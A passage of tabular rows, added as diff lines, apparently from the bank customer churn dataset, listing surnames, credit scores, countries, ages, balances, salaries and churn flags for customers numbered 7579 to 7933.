+7579,15656417,Marsh,582,France,Female,39,1,132077.48,2,1,0,192255.15,0 +7580,15649101,Reeves,601,France,Male,40,10,127847.86,1,0,0,173245.68,0 +7581,15781975,Rees,708,France,Male,34,3,0,1,0,1,121457.88,1 +7582,15700511,Hanson,708,Germany,Male,42,9,176702.36,2,1,1,104804.74,0 +7583,15770255,Onwughara,797,Germany,Female,33,10,83555.58,1,0,0,69767.14,0 +7584,15643574,Odinakachukwu,682,France,Male,26,8,0,2,1,0,178373.43,0 +7585,15595010,Huang,694,Spain,Female,39,9,0,2,0,0,99924.04,0 +7586,15580579,Trevisani,490,France,Female,40,1,0,1,1,1,49594.19,1 +7587,15748532,Dale,828,Spain,Male,42,10,0,1,1,1,186071.14,0 +7588,15773789,Pavlova,594,Spain,Female,38,7,96858.35,1,1,0,77511.45,0 +7589,15600027,Meng,579,Spain,Male,33,1,0,2,1,1,54816.57,0 +7590,15620832,Dean,723,France,Female,35,0,0,2,0,1,61290.99,0 +7591,15568819,Chiganu,619,Germany,Female,42,8,132796.04,3,1,1,191821.35,1 +7592,15748691,Lung,794,Spain,Female,30,1,154970.54,1,0,1,156768.45,0 +7593,15583552,Donaldson,674,Germany,Male,44,3,88902.21,1,1,0,73731.32,0 +7594,15588019,Li Fonti,418,France,Male,28,7,98738.92,1,1,0,122190.22,0 +7595,15713250,Izmailova,502,France,Male,33,8,0,2,1,1,123509.01,0 +7596,15569595,Walker,678,France,Female,50,6,0,1,1,0,8199.5,0 +7597,15794868,Nnonso,599,Germany,Male,40,10,137456.28,2,1,1,14113.11,0 +7598,15576680,Stevenson,736,France,Male,29,4,0,2,0,0,51705.01,0 +7599,15613699,Schnaars,430,France,Female,60,7,73937.02,1,1,0,161937.62,1 +7600,15609758,Geoghegan,537,France,Female,45,7,158621.04,1,1,0,120892.96,1 +7601,15762392,Ilyina,683,Spain,Male,30,1,113257.2,1,1,1,65035.02,0 +7602,15693382,Muir,828,France,Male,31,9,0,1,0,1,164257.37,0 +7603,15791769,Gardener,691,France,Female,29,9,116536.43,1,1,0,51987.99,0 +7604,15712483,Chidi,608,Spain,Female,28,4,0,2,1,0,10899.63,1 +7605,15636454,Fu,691,France,Female,60,6,101070.69,1,1,0,177355.8,1 +7606,15710138,Sun,718,Spain,Male,39,6,0,2,0,1,63889.1,0 +7607,15571571,Ting,680,Germany,Female,31,3,127331.46,3,1,1,176433.6,0 +7608,15638751,Ashton,838,Spain,Female,41,5,0,2,1,0,81313.51,0 +7609,15598574,Uwakwe,695,Spain,Female,31,5,0,2,0,1,13998.88,0 +7610,15796787,Vassiliev,681,France,Male,46,0,105969.42,1,1,0,5771.56,0 +7611,15615670,Kazakova,762,France,Male,36,5,119547.46,1,1,1,42693.65,0 +7612,15705506,Perry,751,Spain,Male,38,7,0,2,0,0,90839.61,0 +7613,15599535,Howell,678,Spain,Male,28,5,138668.18,1,1,1,54144.01,0 +7614,15768449,Ricci,634,France,Female,37,7,51582.5,2,1,1,184312.88,0 +7615,15725002,Smith,749,France,Male,37,7,0,2,1,0,20306.79,0 +7616,15611682,Rossi,590,Spain,Male,37,6,169902.92,1,1,1,128256.18,0 +7617,15749964,Jones,610,France,Female,27,4,87262.4,2,1,0,182720.07,0 +7618,15678779,Quezada,502,France,Male,33,7,0,2,0,1,4082.52,0 +7619,15752601,McCulloch,578,France,Female,40,7,0,2,0,0,102233.73,0 +7620,15758477,Tobeolisa,547,France,Female,32,2,0,2,1,0,132002.83,0 +7621,15629133,Black,579,France,Female,27,9,0,2,1,0,126838.7,0 +7622,15604963,Fraser,661,France,Male,39,5,0,2,0,0,181461.46,0 +7623,15796413,Green,794,France,Male,46,6,0,2,1,0,195325.74,0 +7624,15812470,Allan,719,France,Male,61,5,0,2,0,1,29132.43,0 +7625,15587443,Akudinobi,728,France,Female,69,1,0,2,1,1,131804.86,0 +7626,15689692,Walker,598,Germany,Male,19,3,150348.37,1,1,1,173784.04,0 +7627,15779586,Olisaemeka,822,Germany,Female,46,3,115074.02,2,1,0,26249.86,0 +7628,15667588,Arcuri,670,Spain,Female,40,3,0,1,1,1,182650.15,0 +7629,15624423,Liu,850,France,Male,28,8,99986.98,1,1,0,196582.55,0 +7630,15591107,Flemming,723,Germany,Female,68,3,110357,1,0,0,141977.54,1 +7631,15748986,Bischof,705,Germany,Male,42,8,166685.92,2,1,1,55313.51,0 +7632,15793896,John,677,Spain,Male,40,7,95312.8,1,1,1,62944.75,0 +7633,15620570,Sinnett,736,France,Male,43,4,202443.47,1,1,0,72375.03,0 +7634,15727811,Ts'ui,661,Germany,Female,47,0,109493.62,1,0,0,188324.01,1 +7635,15707681,Pokrovsky,501,Germany,Male,38,9,88977.39,2,0,1,133403.07,0 +7636,15702030,Azarov,516,France,Female,29,2,104982.57,1,1,0,157378.5,0 +7637,15673238,McCarthy,517,Germany,Female,59,8,154110.99,2,1,0,101240.08,1 +7638,15604196,Simpson,766,France,Male,32,6,185714.28,1,1,1,102502.5,0 +7639,15769356,Stevenson,520,Germany,Female,23,3,116022.53,2,1,1,37577.66,0 +7640,15665590,Moore,541,France,Male,46,6,0,2,1,1,83456.67,0 +7641,15572361,Chill,790,Germany,Female,34,2,164011.48,1,1,0,199420.41,0 +7642,15667460,Moore,797,France,Male,31,9,0,2,1,1,24748.89,0 +7643,15654760,Su,811,France,Male,40,1,101514.89,1,1,1,121765,0 +7644,15632669,Rees,722,Spain,Female,32,4,0,2,1,1,113666.48,0 +7645,15613673,Lung,675,France,Male,28,9,0,1,1,0,134110.93,0 +7646,15698522,Thomas,660,Germany,Male,39,9,134599.33,2,1,0,183095.87,0 +7647,15741633,Fuller,566,Spain,Male,32,10,147511.26,1,1,1,159891.03,0 +7648,15674583,Trevisani,768,France,Male,25,0,78396.08,1,1,1,8316.19,0 +7649,15665374,Dumolo,610,Spain,Female,31,5,0,2,0,0,63736.36,0 +7650,15588854,Wu,715,France,Female,31,3,110581.29,1,1,1,94715.24,0 +7651,15810716,Kerr,750,Germany,Male,42,8,151836.36,2,1,0,68695.38,0 +7652,15776921,Geoghegan,431,Germany,Male,45,5,83624.55,2,0,0,36899.62,0 +7653,15569394,Bailey,704,France,Male,24,2,148197.15,2,1,0,182775.08,0 +7654,15788215,Hsia,535,Spain,Female,30,5,122924.75,1,0,0,62390.59,1 +7655,15641007,Holden,614,France,Female,38,4,72594,1,1,1,76042.48,0 +7656,15594651,Milani,748,France,Male,38,4,115221.36,1,0,1,70956.75,0 +7657,15575146,Jamieson,492,Germany,Male,51,8,117808.74,2,1,1,67311.12,0 +7658,15608916,Ndubueze,573,France,Male,40,7,147754.68,1,1,1,110454.46,0 +7659,15666297,Abramova,706,Spain,Female,53,3,0,3,0,0,88479.02,1 +7660,15598586,Wetherspoon,680,France,Male,31,10,113292.17,1,1,1,122639.73,0 +7661,15665014,Middleton,458,Spain,Male,36,5,0,2,1,0,79723.78,0 +7662,15701738,Arcuri,612,Germany,Male,44,2,115163.38,1,1,1,97677.52,1 +7663,15650591,Calabrese,809,Germany,Male,50,10,118098.62,1,1,1,100720.02,1 +7664,15652667,Hampton,590,France,Male,39,9,0,2,1,1,104730.52,0 +7665,15679622,Clayton,602,France,Male,35,8,0,1,1,1,22499.29,0 +7666,15730150,Otutodilichukwu,540,Spain,Male,37,0,120825.7,1,1,0,28257.89,0 +7667,15813192,Chukwuemeka,494,France,Male,25,6,0,2,0,1,109988.09,0 +7668,15606554,Douglas,797,France,Male,29,1,0,1,0,1,149991.32,0 +7669,15611794,Galloway,526,Germany,Male,61,6,133845.28,2,1,1,45180.8,0 +7670,15672357,Sochima,631,Spain,Male,38,7,0,2,1,0,181605.85,0 +7671,15711759,Wilkins,576,France,Female,29,5,108541.04,1,1,1,126469.09,0 +7672,15615296,Rice,405,France,Male,39,10,0,1,1,0,160810.85,1 +7673,15699294,Pope,555,France,Male,30,1,0,2,0,0,88146.86,0 +7674,15788634,Romani,750,Spain,Female,37,2,113817.06,1,0,0,88333.74,0 +7675,15660871,Ch'ang,665,France,Male,28,8,137300.23,1,1,0,90174.83,0 +7676,15618258,Chizuoke,640,Spain,Male,37,5,158024.38,1,1,0,81298.09,0 +7677,15722535,Ireland,457,France,Female,33,7,127837.54,1,0,1,60013.17,0 +7678,15711977,Finch,695,France,Male,36,4,161533,1,1,0,100940.91,0 +7679,15690169,Meng,645,France,Male,31,7,161171.7,2,1,0,12599.94,1 +7680,15790689,Hibbins,647,Spain,Male,32,9,80958.36,1,1,1,128590.73,0 +7681,15665181,Chung,808,Spain,Male,25,7,0,2,0,1,23180.37,0 +7682,15633608,Black,641,France,Male,33,2,146193.6,2,1,1,55796.83,1 +7683,15805261,Balashov,700,Spain,Male,29,8,0,2,0,1,152097.02,0 +7684,15740356,Palmer,660,Germany,Male,26,4,115021.76,1,0,1,162443.05,0 +7685,15808223,Lea,615,Spain,Male,41,1,126773.43,1,1,1,55551.26,0 +7686,15769980,Singleton,705,Germany,Female,40,3,92889.91,1,1,1,109496.69,0 +7687,15675450,Burt,718,France,Male,48,9,0,2,1,1,72105.63,0 +7688,15776494,Siciliano,754,France,Male,61,5,146622.35,1,1,1,41815.22,1 +7689,15592412,Sun,713,Germany,Male,45,4,131038.14,1,1,0,74005.04,1 +7690,15777452,Sauve,587,France,Female,46,6,88820.29,1,0,0,70224.34,0 +7691,15692258,Thompson,569,Spain,Male,31,1,115406.97,1,0,0,145528.22,0 +7692,15791045,Boni,568,France,Female,38,3,132951.92,1,0,1,124486.28,0 +7693,15807889,Wood,634,Germany,Male,74,5,108891.7,1,1,0,10078.02,0 +7694,15602043,Buccho,770,Germany,Female,46,5,141788.63,2,0,0,164967.21,0 +7695,15807335,Spencer,676,Spain,Female,64,4,116954.32,1,1,1,91149.48,0 +7696,15629985,Eidson,723,Germany,Female,47,10,90450,2,0,0,103379.31,1 +7697,15679453,Hung,614,Germany,Female,39,8,125997.22,1,1,1,128049.34,1 +7698,15637315,Melvin,601,Spain,Female,41,3,0,2,1,0,54342.83,0 +7699,15691513,Dawkins,592,France,Male,60,9,0,4,1,1,13614.01,1 +7700,15622289,Rizzo,605,Spain,Female,36,9,0,2,0,1,35521.63,0 +7701,15715184,Capon,752,Spain,Female,31,4,144637.86,2,1,0,40496.72,0 +7702,15702801,Ts'ao,677,France,Female,29,3,86616.35,1,0,0,91903.9,1 +7703,15719931,Johnstone,850,France,Male,31,8,0,2,1,0,178667.7,0 +7704,15806081,Fleming,608,Germany,Female,48,2,127924.25,2,1,0,32202.61,0 +7705,15796336,Chang,786,Spain,Female,34,9,0,2,1,0,117034.32,0 +7706,15647306,Gibbs,777,France,Female,29,9,131240.61,1,1,1,163746.09,1 +7707,15742369,Rita,667,Spain,Male,31,5,0,2,1,1,20346.69,0 +7708,15655859,Munro,848,Spain,Male,35,5,120046.74,2,1,0,84710.65,0 +7709,15675650,Duncan,486,France,Female,39,8,97819.36,1,0,1,120531.31,0 +7710,15574119,Okwuadigbo,598,Spain,Female,64,1,62979.93,1,1,1,152273.57,0 +7711,15754168,McIntosh,506,France,Female,40,3,0,1,1,1,144345.58,0 +7712,15763029,Ch'iu,612,Germany,Male,46,9,161450.03,1,1,1,96961,1 +7713,15765048,Watt,545,France,Male,30,3,0,2,1,0,170307.43,0 +7714,15786215,Udinese,793,France,Male,56,8,119496.25,2,1,0,29880.99,0 +7715,15707559,Clark,682,France,Female,30,9,0,2,1,1,195104.91,0 +7716,15582129,Hsia,517,France,Male,62,1,43772.66,3,1,0,187756.24,1 +7717,15687540,Obiuto,684,France,Male,32,9,100249.41,2,0,1,67599.69,0 +7718,15787196,T'ien,692,Spain,Male,46,2,0,2,1,1,105983.09,0 +7719,15670898,McKenzie,740,France,Female,60,5,108028.08,2,0,0,25980.42,1 +7720,15775433,Tang,666,Germany,Male,71,1,53013.29,2,1,1,112222.64,0 +7721,15700693,Tu,693,France,Male,68,2,0,2,1,1,59864.96,0 +7722,15677955,Tsui,757,Germany,Male,33,1,122088.67,1,1,0,42581.09,0 +7723,15570086,Lynch,684,Germany,Male,18,9,90544,1,0,1,4777.23,0 +7724,15794875,Hung,691,Spain,Male,35,6,0,2,0,1,178038.17,0 +7725,15673591,Oluchukwu,842,France,Male,44,3,141252.18,4,0,1,128521.16,1 +7726,15631756,Tuan,482,France,Female,35,5,147813.05,2,0,0,109029.72,0 +7727,15757617,Lewis,735,France,Male,55,6,134140.68,1,1,0,2267.88,0 +7728,15612729,Chidiebere,681,France,Female,63,7,0,2,1,1,55054.48,0 +7729,15637857,Woolacott,616,France,Female,31,8,0,1,0,1,76456.17,0 +7730,15681007,Yen,850,France,Female,35,2,128548.49,4,1,0,75478.95,1 +7731,15593622,Service,635,France,Male,43,10,122198.21,2,0,1,179144.54,0 +7732,15629273,Lin,638,Germany,Male,42,8,145177.84,1,1,0,193471.74,1 +7733,15765846,Chuang,820,Spain,Female,31,2,94222.53,1,1,0,103570.8,0 +7734,15596013,Akhtar,694,Germany,Female,58,1,143212.22,1,0,0,102628.56,1 +7735,15722473,Faulkner,713,France,Male,41,3,0,2,1,0,55772.04,0 +7736,15774936,Liang,543,Germany,Male,41,6,143350.41,1,1,1,192070.16,1 +7737,15685640,Dancy,649,France,Female,41,3,130931.83,1,1,1,144808.37,0 +7738,15566563,Duigan,777,France,Female,30,4,137851.31,1,1,0,5008.23,1 +7739,15768746,McLean,561,France,Male,33,6,0,2,0,0,173680.39,0 +7740,15689952,Zuyeva,724,Spain,Male,41,5,0,1,0,1,115753.94,0 +7741,15725906,Hankinson,665,Spain,Female,51,8,0,1,1,1,38928.48,1 +7742,15634501,Wei,441,France,Male,60,1,140614.15,1,0,1,174381.23,0 +7743,15571940,Afamefula,579,Spain,Male,22,3,118680.57,1,1,1,49829.8,0 +7744,15741643,Chiang,777,Germany,Male,35,7,122917.69,1,1,1,76169.68,0 +7745,15806822,Myers,739,France,Female,36,0,0,2,0,0,133465.57,0 +7746,15701166,Chinedum,660,France,Male,40,5,131754.11,2,1,1,38761.61,0 +7747,15718531,Ukaegbunam,554,France,Female,35,8,0,2,1,1,176779.46,0 +7748,15628308,Akubundu,850,France,Female,24,6,0,2,1,1,13159.9,0 +7749,15585287,Sal,842,Germany,Female,35,9,119948.09,1,1,0,48217.97,1 +7750,15781619,Stevenson,785,France,Female,38,1,0,1,1,0,134964.85,1 +7751,15805162,Sutherland,550,France,Male,25,0,0,2,1,1,184221.11,0 +7752,15588535,Ts'ao,750,Spain,Female,39,6,0,2,0,0,19264.33,0 +7753,15775307,Sung,490,Spain,Female,38,3,97266.1,1,1,1,92797.23,0 +7754,15777616,Pisani,605,Germany,Male,28,10,113690.83,1,1,0,33114.24,0 +7755,15692291,Hs?eh,563,Spain,Female,42,6,99056.22,2,1,0,154347.95,1 +7756,15680843,Sherrod,675,France,Male,34,8,0,2,1,1,184842.21,0 +7757,15606232,Holloway,621,Spain,Female,36,7,116338.68,1,1,1,155743.48,0 +7758,15641585,Newton,850,France,Male,40,6,97339.99,1,0,1,88815.25,0 +7759,15684358,Kang,711,France,Male,41,3,0,2,1,1,193747.57,0 +7760,15806389,Walton,549,Germany,Female,55,1,137592.31,2,0,1,116548.02,1 +7761,15641860,Bradley,764,Germany,Male,34,6,108760.27,2,1,0,166324.79,1 +7762,15814237,Watkins,627,Germany,Male,30,3,128770.88,2,1,1,40199.01,0 +7763,15808780,Tien,850,France,Female,34,2,0,2,0,0,51919.04,0 +7764,15767064,Davide,614,Spain,Female,36,1,44054.84,1,1,1,73329.08,0 +7765,15751177,Milne,685,Germany,Female,44,2,119657.53,1,1,0,145387.05,1 +7766,15613427,Barling,683,Germany,Female,49,7,108797.63,2,0,0,140763.18,0 +7767,15647259,Barnett,643,Spain,Male,35,2,0,2,0,0,67979.35,0 +7768,15748660,Ellis,561,Germany,Female,49,1,102025.32,1,1,0,133051.64,1 +7769,15726695,Hsia,601,Spain,Female,20,9,122446.61,2,1,0,86791.9,0 +7770,15757473,Chukwujamuike,766,France,Female,27,7,158786.67,2,0,1,47579.25,0 +7771,15809509,Venables,699,France,Male,29,3,125689.29,1,1,1,151623.71,0 +7772,15715512,Hsia,850,Germany,Male,29,1,154640.41,1,1,1,164039.51,0 +7773,15614168,Alexander,792,Germany,Female,50,4,146710.76,1,1,0,16528.4,1 +7774,15679818,Yuan,636,Germany,Male,67,7,136709.35,1,0,1,66753.1,1 +7775,15609928,Johnston,850,Germany,Male,43,5,129305.09,2,0,1,19244.58,0 +7776,15731246,Hobler,628,Spain,Male,40,10,0,2,1,0,103832.58,0 +7777,15685243,Jamieson,736,France,Female,63,10,0,2,0,1,502.7,0 +7778,15638730,Macleod,711,France,Female,21,0,82844.33,2,0,1,1408.68,0 +7779,15697034,Norris,583,Spain,Female,22,2,0,2,0,1,5985.36,0 +7780,15699225,Pirozzi,757,France,Male,46,0,0,2,1,0,37460.05,0 +7781,15677387,Folliero,749,Germany,Female,33,10,76692.22,1,0,1,30396.43,0 +7782,15759184,Russell,705,France,Male,34,7,117715.84,1,1,0,2498.67,0 +7783,15595991,Hsiung,585,France,Male,54,8,87105.32,1,1,1,55346.14,0 +7784,15681332,Tate,437,France,Female,43,6,0,1,1,0,148330.97,1 +7785,15756299,Davis,741,France,Female,64,2,69311.16,1,1,1,59237.72,0 +7786,15750547,Bair,738,France,Male,26,9,0,2,1,1,48644.94,0 +7787,15566380,Drury,586,Spain,Female,33,10,66948.67,2,1,1,140759.03,0 +7788,15675963,Padovano,627,France,Female,57,9,0,2,1,1,107712.42,0 +7789,15674671,Conway,551,Spain,Male,76,2,128410.71,2,1,1,181718.73,0 +7790,15621466,Waters,606,Germany,Male,38,3,99897.53,1,0,0,37054.65,0 +7791,15607176,Kang,674,France,Male,22,3,0,1,1,1,173940.59,0 +7792,15570299,Martin,584,Germany,Female,31,6,152622.34,1,1,0,99298.8,0 +7793,15613197,Ugochukwutubelum,590,France,Male,40,8,0,2,1,0,62933.03,0 +7794,15798885,Burns,585,France,Male,56,4,138227.19,2,1,1,55287.84,0 +7795,15714883,Genovese,508,France,Female,25,2,111395.53,1,0,1,48197.06,0 +7796,15604497,Beale,458,Germany,Male,44,7,84386.57,1,1,0,178642.73,0 +7797,15773949,Cherkasova,692,France,Female,36,3,0,2,1,1,8282.22,0 +7798,15774164,Coles,502,Germany,Male,33,5,174673.65,2,1,0,33300.56,0 +7799,15774127,Potter,518,France,Male,46,3,0,2,1,0,76515.79,0 +7800,15619016,McMinn,660,Germany,Male,46,5,109019.65,2,1,1,33680.56,0 +7801,15795759,Bergamaschi,698,Germany,Female,52,1,107906.75,1,1,0,168886.39,1 +7802,15798844,Chijindum,678,France,Male,54,7,128914.97,1,0,0,191746.23,1 +7803,15717962,Ch'iu,773,Spain,Male,63,9,111179.83,1,1,1,93091.02,0 +7804,15691504,Yusupova,619,Germany,Female,52,8,124099.13,1,0,0,23904.52,0 +7805,15693893,Davis,684,Germany,Male,59,9,122471.09,1,0,1,15807.07,0 +7806,15672499,Iadanza,635,France,Male,34,3,134692.4,2,1,1,83773.02,0 +7807,15750410,Jordan,680,France,Female,25,4,123816.5,1,1,1,90162.35,0 +7808,15568904,Kruglova,608,Germany,Male,34,3,106288.54,1,1,1,36639.25,0 +7809,15649033,Echezonachukwu,603,Germany,Female,55,7,127723.25,2,1,0,139469.11,1 +7810,15780989,Hajek,579,Spain,Male,43,2,145843.82,1,1,1,198402.37,1 +7811,15771059,Welch,756,Germany,Female,34,2,148200.72,1,0,0,194584.48,0 +7812,15687852,Vinogradoff,611,France,Male,30,2,104145.65,1,0,0,159629.64,0 +7813,15695280,Hung,532,Germany,Male,24,8,142755.25,1,0,0,34231.48,0 +7814,15592751,Okwudiliolisa,684,Germany,Female,63,3,81245.79,1,1,0,69643.31,1 +7815,15598338,Mays,647,Germany,Female,33,3,168560.46,2,0,0,90270.16,0 +7816,15735784,Gardner,583,France,Male,38,8,0,1,1,0,47848.56,0 +7817,15629128,Mamelu,774,Germany,Male,42,2,132193.94,2,1,1,162865.52,0 +7818,15642870,Ross,677,France,Male,58,9,0,1,0,1,168650.4,0 +7819,15637977,Barese,542,Germany,Male,25,8,139330.1,1,0,0,54372.37,0 +7820,15600792,Swayne,613,Spain,Male,29,0,0,2,0,1,133897.32,0 +7821,15576131,Phillips,666,France,Male,40,5,0,2,1,0,147878.05,0 +7822,15686588,Manfrin,777,France,Female,28,2,134571.5,1,0,1,118313.38,0 +7823,15761018,Tan,581,Germany,Male,50,2,143829.2,2,1,0,181224.24,1 +7824,15616029,Adams,705,France,Male,32,7,0,2,1,0,7921.57,0 +7825,15761149,Teng,673,France,Female,44,8,133444.97,1,0,1,5708.19,0 +7826,15802758,Chinwendu,594,Germany,Female,23,4,104753.84,2,1,0,56756.52,1 +7827,15647838,Davison,648,Germany,Female,51,2,116574.84,1,1,0,4121.04,1 +7828,15735968,Hsing,605,France,Male,41,10,0,2,0,1,97213.09,0 +7829,15581286,Castro,734,France,Female,40,9,176914.8,1,1,1,12799.23,0 +7830,15625445,Parkin,572,France,Female,36,8,68348.18,2,0,1,50400.32,0 +7831,15600173,Manna,595,France,Female,33,9,0,2,1,1,41447.86,0 +7832,15635143,Fennescey,749,France,Male,42,2,56726.83,2,0,1,185543.35,0 +7833,15664849,Colon,573,Spain,Male,46,3,65269.23,1,0,1,189988.65,1 +7834,15762455,Yeh,624,Spain,Male,33,6,66220.17,1,0,1,170819.01,0 +7835,15797165,Bergamaschi,703,France,Male,56,9,0,1,0,0,85547.33,1 +7836,15788189,Matveyeva,665,France,Female,41,8,96147.55,1,1,0,137037.97,0 +7837,15780492,Ignatyeva,648,France,Male,42,4,0,2,1,0,19283.14,0 +7838,15678497,Lederer,850,Spain,Male,48,2,0,1,1,0,169425.3,1 +7839,15588560,Nwabugwu,569,Germany,Female,32,8,145330.43,1,1,1,132038.65,0 +7840,15606003,Abramowitz,566,France,Female,21,3,0,2,1,1,3626.47,0 +7841,15611756,Chapman,537,Germany,Female,47,4,124192.28,2,1,1,50881.51,0 +7842,15789563,Fiorentino,706,Germany,Female,46,7,111288.18,1,1,1,149170.25,1 +7843,15702416,Cecil,734,France,Male,43,7,107805.67,1,0,0,182505.68,0 +7844,15766288,Ikechukwu,586,Germany,Female,36,5,103700.69,1,1,0,194072.56,1 +7845,15667633,Allen,612,France,Female,38,1,0,2,1,1,9209.21,0 +7846,15622774,Kao,648,France,Male,34,0,0,1,1,1,167931.81,0 +7847,15755416,Hart,557,France,Female,27,3,87739.08,1,1,1,123096.56,0 +7848,15769915,Charlton,643,Spain,Female,20,0,133313.34,1,1,1,3965.69,0 +7849,15643908,Turnbull,433,France,Female,49,10,0,1,1,1,87711.61,0 +7850,15627395,Manners,643,Germany,Male,41,7,154902.66,1,1,1,49667.28,0 +7851,15679663,Chiazagomekpere,488,France,Female,36,0,0,2,1,0,136675.22,0 +7852,15651581,Lavrentyev,758,Germany,Male,68,6,112595.85,1,1,0,35865.44,1 +7853,15596379,Wallace,743,Germany,Male,39,3,119695.75,1,0,1,26136.13,0 +7854,15746674,Miller,730,France,Female,47,7,0,1,1,0,33373.26,1 +7855,15801256,Bazhenov,746,Spain,Male,49,7,0,2,0,1,10096.25,0 +7856,15663808,Ifesinachi,666,Germany,Female,59,8,152614.51,2,1,1,188782.3,0 +7857,15598521,Ma,580,Germany,Female,33,7,131647.01,2,0,0,79775.19,0 +7858,15621457,Chu,850,France,Male,27,6,96654.72,2,0,0,152740.16,0 +7859,15764726,Kerr,563,France,Male,22,3,137583.04,1,0,1,5791.85,0 +7860,15646374,Wynne,766,Germany,Female,28,3,62717.84,2,1,1,13182.43,0 +7861,15716501,Moon,659,France,Male,32,9,95377.13,1,0,1,187551.24,0 +7862,15589948,Disher,607,Spain,Male,28,1,135936.1,2,1,1,110560.14,0 +7863,15811343,Cattaneo,644,Germany,Male,35,5,161591.11,3,1,1,63795.62,0 +7864,15659677,Beluchi,746,France,Male,47,8,142382.03,1,1,1,62086.62,0 +7865,15594436,Mazzi,588,Spain,Male,33,2,0,2,1,1,12483.56,0 +7866,15748995,Ifeajuna,691,Spain,Male,30,9,0,2,0,1,10963.04,0 +7867,15677062,Howe,666,France,Female,38,6,127043.09,1,1,1,8247,0 +7868,15697201,Yocum,640,Spain,Female,46,3,0,1,1,1,156260.08,0 +7869,15666453,Moore,611,Germany,Female,29,4,78885.88,2,1,1,26927.69,0 +7870,15693771,Y?an,651,Spain,Female,45,8,95922.9,1,1,0,84782.42,1 +7871,15569867,Chinweuba,529,France,Female,29,8,0,2,1,0,19842.11,0 +7872,15711602,Lowrie,676,France,Female,36,3,91711.59,1,1,1,95393.43,0 +7873,15717736,Shen,639,Germany,Female,46,10,110031.09,2,1,1,133995.59,0 +7874,15750441,Lavarack,782,France,Male,36,5,81210.72,2,0,1,108003.38,0 +7875,15732791,Davide,641,Germany,Male,32,5,122947.92,1,1,1,99154.86,0 +7876,15775104,Gomes,697,France,Female,38,1,182065.85,1,1,0,49503.5,0 +7877,15757607,Matveyeva,623,France,Male,45,0,0,1,1,0,196533.72,1 +7878,15793070,Fiorentino,494,Spain,Female,41,2,69974.66,2,1,0,188426.13,1 +7879,15760456,Eberechukwu,731,France,Female,38,10,123711.73,2,1,0,171340.68,1 +7880,15665385,Gibney,657,France,Male,44,6,76495.04,1,1,0,79071.89,0 +7881,15612418,Virgo,744,France,Female,38,9,0,2,0,0,20940.76,0 +7882,15727138,Kulikova,774,Spain,Male,46,9,0,2,1,1,34774.26,0 +7883,15732061,Liu,850,Germany,Female,45,1,121874.89,1,0,0,6865.41,1 +7884,15776051,Kao,551,France,Female,45,6,0,2,1,1,51143.43,0 +7885,15616530,Foran,638,France,Male,36,6,188455.19,1,0,0,47031.4,1 +7886,15632344,Jones,792,France,Female,42,0,99045.93,2,1,0,47160.01,0 +7887,15744979,Fowler,666,France,Female,36,8,0,1,0,1,158666.99,0 +7888,15745433,Conti,716,Germany,Female,30,2,205770.78,2,0,0,65464.66,0 +7889,15683657,Stephenson,594,France,Female,31,0,79340.95,1,1,0,78255.86,0 +7890,15718572,Willis,600,Germany,Male,57,9,138456.03,2,1,1,103548.25,0 +7891,15665783,Ts'ui,565,France,Male,49,7,0,2,1,1,89609.26,0 +7892,15652782,Chibuzo,678,Germany,Male,48,2,101099.9,2,0,1,193476.04,0 +7893,15707025,Fang,648,Spain,Female,31,5,0,2,1,1,5199.02,0 +7894,15647807,Wyckoff,642,France,Male,40,8,109219.83,1,1,0,52827.51,0 +7895,15718281,Muir,706,Germany,Male,67,1,123276.69,2,1,1,86507.88,1 +7896,15660571,Halpern,668,Spain,Male,43,10,113034.31,1,1,1,100423.88,0 +7897,15727857,Flynn,635,Spain,Male,41,1,0,2,1,0,175611.5,0 +7898,15639252,Shao,603,Spain,Male,30,6,129548.5,2,1,1,19282.85,0 +7899,15628144,Soares,635,France,Female,72,4,74812.84,1,0,1,27448.33,0 +7900,15683560,Gallo,642,France,Female,40,7,0,2,1,0,183963.34,0 +7901,15653275,Lei,785,Spain,Female,54,1,0,2,1,0,45113.92,1 +7902,15622182,Daniels,628,Germany,Female,28,3,153538.13,2,1,0,110776.01,0 +7903,15613962,Kenechi,499,France,Female,38,9,0,2,0,1,183042.2,0 +7904,15618437,Singleton,567,Spain,Male,34,10,0,2,0,1,161571.79,0 +7905,15783338,Williams,449,Spain,Male,32,0,155619.36,1,1,1,166692.03,0 +7906,15764491,Greece,701,Spain,Male,35,10,159693.9,2,1,1,71173.64,0 +7907,15712960,Olisanugo,613,Spain,Male,37,3,171653.17,1,0,1,5353.12,0 +7908,15688157,Padovano,683,Germany,Female,39,2,47685.47,2,1,1,86019.48,0 +7909,15579287,Rossi,581,France,Male,35,4,0,2,0,1,86383.82,0 +7910,15570931,Grant,620,France,Male,61,5,0,1,0,0,31641.52,1 +7911,15615177,Ebelegbulam,561,Spain,Male,28,6,123692,1,1,1,70548.96,0 +7912,15809906,Mitchell,558,Germany,Male,26,1,148853.29,2,1,1,24411.02,0 +7913,15652169,Buckley,642,France,Male,35,2,133161.95,1,0,1,122254.86,0 +7914,15649450,Repina,805,Germany,Male,24,6,143221.35,2,1,0,186035.72,0 +7915,15777179,Ellis,687,France,Male,35,9,0,2,0,1,73133.82,0 +7916,15803538,Douglas,695,Spain,Male,56,1,0,3,1,0,187734.49,1 +7917,15610936,Becher,562,France,Male,33,6,0,2,1,0,111590.35,0 +7918,15590094,Nwachukwu,613,Germany,Male,38,9,126265.88,2,0,0,15859.95,0 +7919,15572706,Smith,589,France,Male,37,5,0,1,1,0,61324.87,0 +7920,15634564,Aksyonov,593,Spain,Male,31,8,112713.34,1,1,1,176868.89,0 +7921,15684296,Artyomova,714,France,Male,34,5,141173.03,1,0,1,98896.06,0 +7922,15702293,Medvedeva,588,Spain,Female,35,7,0,2,1,1,108739.15,0 +7923,15642099,Tsui,679,Spain,Male,39,6,0,2,1,0,12266.06,0 +7924,15773273,Runyon,730,Spain,Male,38,5,118866.36,1,1,1,163317.5,0 +7925,15613337,Gallo,833,France,Male,47,2,0,2,1,1,182247.77,0 +7926,15800482,Bradshaw,586,Spain,Female,33,7,0,2,1,1,168261.4,0 +7927,15732644,Evans,567,Spain,Female,54,5,92316.31,2,1,0,158590.66,1 +7928,15713426,Hancock,637,Germany,Male,30,1,122185.53,1,1,0,102566.46,1 +7929,15640789,Butler,711,France,Male,38,4,123345.85,1,1,0,141827.83,0 +7930,15598892,Bradshaw,828,France,Male,30,4,73070.18,2,0,0,161671.15,0 +7931,15606436,Bergamaschi,500,Spain,Male,38,7,0,2,0,0,192013.23,0 +7932,15751227,Ebelegbulam,807,France,Male,47,1,95120.59,1,0,0,127875.1,0 +7933,15812365,Greco,850,France,Male,40,8,102800.65,1,1,0,60811.56,0 